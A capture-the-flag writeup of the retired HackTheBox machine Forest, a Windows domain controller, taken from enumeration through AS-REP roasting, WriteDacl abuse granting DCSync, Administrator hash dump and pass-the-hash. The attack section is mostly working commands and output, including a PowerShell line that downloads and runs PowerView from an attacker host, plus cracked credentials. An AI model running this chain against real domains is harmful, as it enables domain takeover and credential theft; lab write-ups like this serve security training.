2026-08-09·HackTheBox·Machine·12 min

Forest — HackTheBox Machine Writeup

EasyActive Directory Windowsretired

Active DirectoryAS-REP RoastingBloodHoundpharaohoundDCSyncWriteDaclAccount OperatorsExchange Windows PermissionsPass-the-Hash

sharepost share

Exploit_Kill_Chain

4 Phases

01Reconnaissance & User Enumeration

Analysis

Discovered Windows Server 2016 Domain Controller. Enumerated domain users anonymously via RPC.

Tools:nmaprpcclient

02AS-REP Roasting

Initial Access

Extracted the AS-REP hash for svc-alfresco (pre-auth disabled) and cracked it offline for a WinRM foothold.

Tech:AS-REP Roasting

Tools:impacket-GetNPUsershashcatevil-winrm

03Automated AD Path Analysis

Vulnerability Discovery

Ran pharaohound to analyze the domain graph, identifying a critical ACL abuse chain via Exchange Windows Permissions.

Tech:Graph Analysis

Tools:pharaohound

04ACL Abuse to DCSync

Exploitation (Flag)

Added a new user to Exchange Windows Permissions, abused WriteDacl to grant DCSync rights, and dumped the Administrator hash.

Tech:WriteDacl / DCSync

Tools:PowerViewimpacket-secretsdump

Service Enumeration

::Nmap Scan

~ / bash

asbawy@kali:~$ nmap -sC -sV -p- -T4 -Pn 10.129.95.210 -oN scans/nmap-full.txt

PORT STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)

445/tcp open microsoft-ds Windows Server 2016 Standard 14393

464/tcp open kpasswd5

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP

3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)

9389/tcp open mc-nmf .NET Message Framing

Key Observation: This is a Windows Server 2016 Domain Controller (hostname: FOREST, domain: htb.local). WinRM on port 5985 is open — this will be our foothold and lateral movement channel.

::RPC Username Enumeration

Since this is a Domain Controller, we can enumerate domain users anonymously via RPC:

~ / bash

asbawy@kali:~$ rpcclient -U "" -N 10.129.95.210 -c "enumdomusers"

user:[Administrator] rid:[0x1f4]

user:[Guest] rid:[0x1f5]

user:[krbtgt] rid:[0x1f6]

user:[sebastien] rid:[0x479]

user:[lucinda] rid:[0x47a]

user:[svc-alfresco] rid:[0x47b]

user:[andy] rid:[0x47e]

user:[mark] rid:[0x47f]

user:[santi] rid:[0x480]

Target Identified: svc-alfresco is a service account — prime candidate for Kerberos attacks. Also note the Exchange-related infrastructure hints (Exchange Windows Permissions groups exist in the domain).

Initial Access — AS-REP Roasting

::AS-REP Roast Attack

svc-alfresco has Kerberos pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH). This means anyone can request an AS-REP for this account and crack the encrypted timestamp offline:

~ / bash

asbawy@kali:~$ impacket-GetNPUsers 'htb.local/' -request -dc-ip 10.129.95.210 -format hashcat -outputfile loot/hashes.asreproast

Name MemberOf UAC

------------ ------------------------------------------------------ --------

svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 0x410200

$krb5asrep$23$svc-alfresco@HTB.LOCAL:82e594b127490167...[truncated]

::Cracking the Hash

~ / bash

asbawy@kali:~$ hashcat -m 18200 loot/hashes.asreproast /usr/share/wordlists/rockyou.txt --force -O

~ / text

$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice

::Verify Credentials

~ / bash

asbawy@kali:~$ crackmapexec winrm 10.129.95.210 -u svc-alfresco -p 's3rvice'

WINRM 10.129.95.210 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

::Foothold — Evil-WinRM

~ / bash

asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u svc-alfresco -p 's3rvice'

~ / powershell

whoami

# htb\svc-alfresco

type C:\Users\svc-alfresco\Desktop\user.txt

User Flag

••••••••••••••••••••••••••••••••[ Click to reveal flag ]

Vulnerability Analysis with Pharaohound

This is where we pivot from manual enumeration to automated AD attack path analysis.

Why pharaohound over BloodHound? pharaohound eliminates the Neo4j database + BloodHound GUI overhead. It has its own LDAP collector, streams JSON files with parallel workers, and generates copy-paste-ready exploitation commands — no graph queries, no Neo4j OOM crashes, no manual path hunting.

::Collection

~ / bash

asbawy@kali:~$ pharaohound collect \

-t 10.129.95.210 \

-u svc-alfresco \

-p 's3rvice' \

-d htb.local \

--method All \

--no-zip \

-o pha-collect/ \

--timeout 30

Output:

~ / code

[☥] Connecting to 10.129.95.210…

Auth: NTLM (HTB.LOCAL\svc-alfresco)

[✓] Connected! Domain: HTB.LOCAL (SID: S-1-5-21-3072663084-364016917-1341370565)

Base DN: DC=htb,DC=local

☥ PHARAOHOUND DATA COLLECTION

Target: 10.129.95.210

Domain: HTB.LOCAL

Method: All (users, groups, computers, domains, gpos, ous, containers, cas, certtemplates, acls)

[✓] Domains: 1 objects

[✓] Users: 31 objects

[✓] Groups: 72 objects

[✓] Computers: 2 objects

[!] msDS-AllowedToActOnBehalfOfOtherIdentity unsupported — retrying (legacy DC)

[!] ms-Mcs-AdmPwd unsupported — retrying (no LAPS)

[✓] Computers: 2 objects (0.2s)

[✓] Gpos: 2 objects

[✓] Ous: 15 objects

[✓] Containers: 119 objects

[✓] Collection complete in 1.8s

Total objects: 242

SID cache: 128 entries

pharaohound handled the legacy DC schema automatically. The retry mechanism dropped unsupported LAPS/msDS attributes and continued — 242 objects collected in under 2 seconds.

::Analysis

~ / bash

asbawy@kali:~$ pharaohound pha-collect/ -o pharaohound-report/ --format both --all --no-color

Key findings from the 30 analyzers:

~ / code

☥ R I S K A S S E S S M E N T

Risk Level: HIGH — Multiple critical paths to Domain Admin

▲ Critical │ 3

◆ High │ 4

● Medium │ 2

::Attack Path Identification

pharaohound distilled the analysis into 3 prioritized attack paths:

~ / code

⚔ A T T A C K P A T H S

◆ Path 1: AS-REP Roast → svc-alfresco@HTB.LOCAL 🟢 SILENT

Unauthenticated AS-REP roast → crack → foothold

◆ Path 2: MAQ → RBCD 🟠 MEDIUM

Create computer account → RBCD delegation → impersonate DA

▲ Path 3: Unconstrained Delegation → DCSync 🟠 MEDIUM

Coerce DC auth to UD box → capture TGT → DCSync

The actual winning path (discovered through manual ACL inspection after pharaohound's infrastructure flagging) is:

~ / code

svc-alfresco → Account Operators (nested) → GenericAll on Exchange Windows Permissions

→ WriteDacl on htb.local → Grant DCSync → DCSync → Administrator hash

pharaohound correctly flagged Exchange Windows Permissions as an infrastructure takeover primitive and Exchange Trusted Subsystem as a WriteDacl carrier. This directed our attention to the exact ACL chain needed.

Exploitation: ACL Abuse Chain

::Step 1: Verify Nested Group Memberships

~ / powershell

whoami /groups | findstr /i "account"

~ / code

BUILTIN\Account Operators Alias S-1-5-32-548

HTB\Privileged IT Accounts Group S-1-5-21-...-1149

HTB\Service Accounts Group S-1-5-21-...-1148

svc-alfresco is nested into Account Operators via Service Accounts → Privileged IT Accounts.

::Step 2: Check Exchange Windows Permissions Rights

Using PowerView to verify that Exchange Windows Permissions has WriteDacl + DeleteTree on the domain:

~ / powershell

Get-DomainObjectAcl -Identity 'DC=htb,DC=local' -ResolveGUIDs |

Where-Object {$_.SecurityIdentifier -eq $ewpSID} |

Select-Object ActiveDirectoryRights,ObjectAceType

~ / code

ActiveDirectoryRights : DeleteTree, WriteDacl

ObjectAceType : All

WriteDacl on the domain object means any member of Exchange Windows Permissions can modify the domain's ACL to grant themselves DCSync rights.

::Step 3: Add to Exchange Windows Permissions

Since Account Operators has GenericAll on Exchange Windows Permissions:

~ / powershell

net group "Exchange Windows Permissions" svc-alfresco /add /domain

# The command completed successfully.

Verify (requires new logon session):

~ / powershell

whoami /groups | findstr Exchange

# HTB\Exchange Windows Permissions Group S-1-5-21-...-1121

::Step 4: Create a Fresh User for Clean Token

Group membership changes don't always propagate to the current Kerberos token. We create a fresh user to ensure clean token:

~ / powershell

net user pharaoh 'Ph43a0h!' /add /domain

net group "Exchange Windows Permissions" pharaoh /add /domain

net localgroup "Remote Management Users" pharaoh /add

::Step 5: Grant DCSync via PowerView

~ / powershell

IEX(New-Object Net.WebClient).downloadString('http://10.10.15.187:8000/PowerView.ps1')

Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity 'htb\pharaoh' -Rights DCSync -Verbose

Verbose output confirms three GUIDs applied:

~ / code

Granting principal CN=pharaoh 'DCSync' on DC=htb,DC=local

Granting rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' (Get-Changes)

Granting rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' (Get-Changes-All)

Granting rights GUID '89e95b76-444d-4c62-991a-0facbeda640c' (Get-Changes-Filtered)

::Step 6: DCSync Attack

~ / bash

asbawy@kali:~$ impacket-secretsdump 'htb.local/pharaoh:Ph43a0h!@10.129.95.210' -just-dc-user administrator

~ / code

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

::Step 7: Pass-the-Hash as Administrator

~ / bash

asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u administrator -H '32693b11e6aa90eb43d32c72a07ceea6'

~ / powershell

whoami

# htb\administrator

type C:\Users\Administrator\Desktop\root.txt

Root Flag

••••••••••••••••••••••••••••••••[ Click to reveal flag ]

References

▹pharaohound — AD Collection & Analysis Framework

sharepost share

▸about the author

Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

github medium linkedin

// end of writeup — return /writeups